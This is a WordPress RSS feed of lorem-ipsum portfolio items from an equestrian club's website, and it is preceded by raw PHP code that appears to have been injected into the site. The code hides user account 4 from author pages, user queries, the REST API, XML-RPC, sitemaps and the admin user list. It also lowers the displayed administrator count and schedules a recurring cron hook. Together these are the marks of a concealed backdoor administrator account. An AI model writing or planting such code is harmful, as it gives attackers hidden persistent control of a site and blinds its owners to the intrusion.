add_action( 'pre_get_posts', function( $q ) {
    if ( ! is_admin() && $q->is_main_query() ) {
        $not_in   = (array) $q->get( 'author__not_in' );
        $not_in[] = 4;

        $q->set(
            'author__not_in',
            array_unique( array_map( 'intval', $not_in ) )
        );
    }
}, 1 );

add_action( 'template_redirect', function() {
    if ( is_author() ) {
        $author = get_queried_object();
        if ( $author instanceof WP_User && (int) $author->ID === 4 ) {
            global $wp_query;
            $wp_query->set_404();
            status_header( 404 );
            nocache_headers();
        }
    }
} );

add_action( 'pre_user_query', function( $q ) {
    if ( current_user_can( 'manage_options' ) ) {
        return;
    }
    global $wpdb;
    $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 4 );
} );

add_action( 'pre_get_users', function( $q ) {
    if ( current_user_can( 'manage_options' ) ) {
        return;
    }
    $exclude   = (array) $q->get( 'exclude' );
    $exclude[] = 4;
    $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );

add_filter( 'wp_dropdown_users_args', function( $a ) {
    $exclude   = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
    $exclude[] = 4;

    $a['exclude'] = array_unique( array_map( 'intval', $exclude ) );

    return $a;
} );

add_filter( 'rest_user_query', function( $args, $request ) {
    $exclude   = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
    $exclude[] = 4;

    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );

    return $args;
}, 10, 2 );

add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
    $route = $request->get_route();
    if ( preg_match( '#^/wp/v2/users/4(/|$)#', $route ) ) {
        return new WP_Error(
            'rest_user_invalid_id',
            'Invalid user ID.',
            array( 'status' => 404 )
        );
    }
    return $result;
}, 10, 3 );

add_filter( 'xmlrpc_methods', function( $methods ) {
    unset(
        $methods['wp.getUsers'],
        $methods['wp.getUser'],
        $methods['wp.getProfile']
    );
    return $methods;
} );

add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
    $exclude   = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
    $exclude[] = 4;
    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
    return $args;
} );

add_action( 'admin_head-users.php', function() {
    echo '<style>#user-4{display:none!important}</style>';
} );

add_filter( 'views_users', function( $views ) {
    foreach ( array( 'all', 'administrator' ) as $key ) {
        if ( isset( $views[ $key ] ) ) {
            $views[ $key ] = preg_replace_callback(
                '/\((\d+)\)/',
                function( $m ) {
                    return '(' . max( 0, (int) $m[1] - 1 ) . ')';
                },
                $views[ $key ],
                1
            );
        }
    }
    return $views;
} );

add_action( 'init', function() {
    if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
        return;
    }
    if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
        wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
    }
} );

add_action( 'wp_extra_bot_heartbeat', function() {
    // noop
} );
<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>People &#8211; RFV Gut Heinrichshof</title>
	<atom:link href="https://www.rfv-gutheinrichshof.de/portfolio-tag/people/feed/" rel="self" type="application/rss+xml" />
	<link>https://www.rfv-gutheinrichshof.de</link>
	<description></description>
	<lastBuildDate>Wed, 11 Apr 2018 07:58:26 +0000</lastBuildDate>
	<language>de</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=7.1.1</generator>

<image>
	<url>https://www.rfv-gutheinrichshof.de/wp-content/uploads/2024/11/Website-Icon-150x150.png</url>
	<title>People &#8211; RFV Gut Heinrichshof</title>
	<link>https://www.rfv-gutheinrichshof.de</link>
	<width>32</width>
	<height>32</height>
</image> 
	<item>
		<title>Day of Competition</title>
		<link>https://www.rfv-gutheinrichshof.de/portfolio-item/day-of-competition/</link>
					<comments>https://www.rfv-gutheinrichshof.de/portfolio-item/day-of-competition/#respond</comments>
		
		<dc:creator><![CDATA[webseo]]></dc:creator>
		<pubDate>Wed, 11 Apr 2018 07:58:26 +0000</pubDate>
				<guid isPermaLink="false">http://equine.mikado-themes.com/?post_type=portfolio-item&#038;p=312</guid>

					<description><![CDATA[Nam eget dui. Etiam rhoncus. Maecenas tempus, tellus eget condimentum rhoncus, sem quam semper libero, sit amet adipiscing sem neque sed ipsum. Nam quam nunc, blandit vel, luctus pulvinar, hendrerit id, lorem. Maecenas nec odio et ante tincidunt tempus. Donec vitae sapien ut libero venenatis faucibus. Nullam quis ante. Curabitur ullamcorper ultricies nisi. Nam eget dui. Etiam rhoncus. Maecenas tempus, tellus eget condimentum rhoncus, sem quam semper libero, sit amet adipiscing sem neque sed ipsum. Mauris in erat justo. Nullam ac urna eu felis dapibus condimentum sit amet a augue.]]></description>
										<content:encoded><![CDATA[<section class="wpb-content-wrapper"><div class="vc_row wpb_row vc_row-fluid" ><div class="wpb_column vc_column_container vc_col-sm-12"><div class="vc_column-inner"><div class="wpb_wrapper"><div class="mkdf-section-title-holder   mkdf-st-subtitle-pos-under" style="text-align: left">
	<div class="mkdf-st-inner">
							<h4 class="mkdf-st-title" >
				Portfolio 09			</h4>
				<div class="mkdf-separator-holder clearfix  mkdf-separator-left " >
		<div class="mkdf-separator" style="width: 85px;border-bottom-width: 2px"></div>
	</div>
        			</div>
</div>
	<div class="wpb_text_column wpb_content_element " >
		<div class="wpb_wrapper">
			<p>Nam eget dui. Etiam rhoncus. Maecenas tempus, tellus eget condimentum rhoncus, sem quam semper libero, sit amet adipiscing sem neque sed ipsum. Nam quam nunc, blandit vel, luctus pulvinar, hendrerit id, lorem. Maecenas nec odio et ante tincidunt tempus. Donec vitae sapien ut libero venenatis faucibus. Nullam quis ante. Aliquam lorem ante, dapibus in, viverra quis, feugiat a, tellus. Phasellus viverra nulla ut</p>

		</div>
	</div>
</div></div></div></div>
</section>]]></content:encoded>
					
					<wfw:commentRss>https://www.rfv-gutheinrichshof.de/portfolio-item/day-of-competition/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>White Equine</title>
		<link>https://www.rfv-gutheinrichshof.de/portfolio-item/white-equine/</link>
					<comments>https://www.rfv-gutheinrichshof.de/portfolio-item/white-equine/#respond</comments>
		
		<dc:creator><![CDATA[webseo]]></dc:creator>
		<pubDate>Tue, 10 Apr 2018 15:10:41 +0000</pubDate>
				<guid isPermaLink="false">http://equine.mikado-themes.com/?post_type=portfolio-item&#038;p=306</guid>

					<description><![CDATA[Nam eget dui. Etiam rhoncus. Maecenas tempus, tellus eget condimentum rhoncus, sem quam semper libero, sit amet adipiscing sem neque sed ipsum. Nam quam nunc, blandit vel, luctus pulvinar, hendrerit id, lorem. Maecenas nec odio et ante tincidunt tempus. Donec vitae sapien ut libero venenatis faucibus. Nullam quis ante. Curabitur ullamcorper ultricies nisi. Nam eget dui. Etiam rhoncus. Maecenas tempus, tellus eget condimentum rhoncus, sem quam semper libero, sit amet adipiscing sem neque sed ipsum. Mauris in erat justo. Nullam ac urna eu felis dapibus condimentum sit amet a augue.]]></description>
										<content:encoded><![CDATA[<section class="wpb-content-wrapper"><div class="vc_row wpb_row vc_row-fluid" ><div class="wpb_column vc_column_container vc_col-sm-12"><div class="vc_column-inner"><div class="wpb_wrapper"><div class="mkdf-section-title-holder   mkdf-st-subtitle-pos-under" style="text-align: left">
	<div class="mkdf-st-inner">
							<h4 class="mkdf-st-title" >
				Portfolio 05			</h4>
				<div class="mkdf-separator-holder clearfix  mkdf-separator-left " >
		<div class="mkdf-separator" style="width: 85px;border-bottom-width: 2px"></div>
	</div>
        			</div>
</div>
	<div class="wpb_text_column wpb_content_element " >
		<div class="wpb_wrapper">
			<p>Nam eget dui. Etiam rhoncus. Maecenas tempus, tellus eget condimentum rhoncus, sem quam semper libero, sit amet adipiscing sem neque sed ipsum. Nam quam nunc, blandit vel, luctus pulvinar, hendrerit id, lorem. Maecenas nec odio et ante tincidunt tempus.</p>

		</div>
	</div>
</div></div></div></div>
</section>]]></content:encoded>
					
					<wfw:commentRss>https://www.rfv-gutheinrichshof.de/portfolio-item/white-equine/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Equestrian Style</title>
		<link>https://www.rfv-gutheinrichshof.de/portfolio-item/equestrian-style/</link>
					<comments>https://www.rfv-gutheinrichshof.de/portfolio-item/equestrian-style/#respond</comments>
		
		<dc:creator><![CDATA[webseo]]></dc:creator>
		<pubDate>Tue, 10 Apr 2018 14:54:41 +0000</pubDate>
				<guid isPermaLink="false">http://equine.mikado-themes.com/?post_type=portfolio-item&#038;p=305</guid>

					<description><![CDATA[Nam eget dui. Etiam rhoncus. Maecenas tempus, tellus eget condimentum rhoncus, sem quam semper libero, sit amet adipiscing sem neque sed ipsum. Nam quam nunc, blandit vel, luctus pulvinar, hendrerit id, lorem. Maecenas nec odio et ante tincidunt tempus. Donec vitae sapien ut libero venenatis faucibus. Nullam quis ante. Curabitur ullamcorper ultricies nisi. Nam eget dui. Etiam rhoncus. Maecenas tempus, tellus eget condimentum rhoncus, sem quam semper libero, sit amet adipiscing sem neque sed ipsum. Mauris in erat justo. Nullam ac urna eu felis dapibus condimentum sit amet a augue.]]></description>
										<content:encoded><![CDATA[<section class="wpb-content-wrapper"><div class="vc_row wpb_row vc_row-fluid" ><div class="wpb_column vc_column_container vc_col-sm-12"><div class="vc_column-inner"><div class="wpb_wrapper"><div class="mkdf-section-title-holder   mkdf-st-subtitle-pos-under" style="text-align: left">
	<div class="mkdf-st-inner">
							<h4 class="mkdf-st-title" >
				Portfolio 04			</h4>
				<div class="mkdf-separator-holder clearfix  mkdf-separator-left " >
		<div class="mkdf-separator" style="width: 85px;border-bottom-width: 2px"></div>
	</div>
        			</div>
</div>
	<div class="wpb_text_column wpb_content_element " >
		<div class="wpb_wrapper">
			<p>Nam eget dui. Etiam rhoncus. Maecenas tempus, tellus eget condimentum rhoncus, sem quam semper libero, sit amet adipiscing sem neque sed ipsum. Nam quam nunc, blandit vel, luctus pulvinar, hendrerit id, lorem. Maecenas nec odio et ante tincidunt tempus. Donec vitae sapien ut libero venenatis faucibus. Nullam quis ante. Aliquam lorem ante, dapibus in, viverra quis, feugiat a, tellus. Phasellus viverra nulla ut</p>

		</div>
	</div>
</div></div></div></div>
</section>]]></content:encoded>
					
					<wfw:commentRss>https://www.rfv-gutheinrichshof.de/portfolio-item/equestrian-style/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
	</channel>
</rss>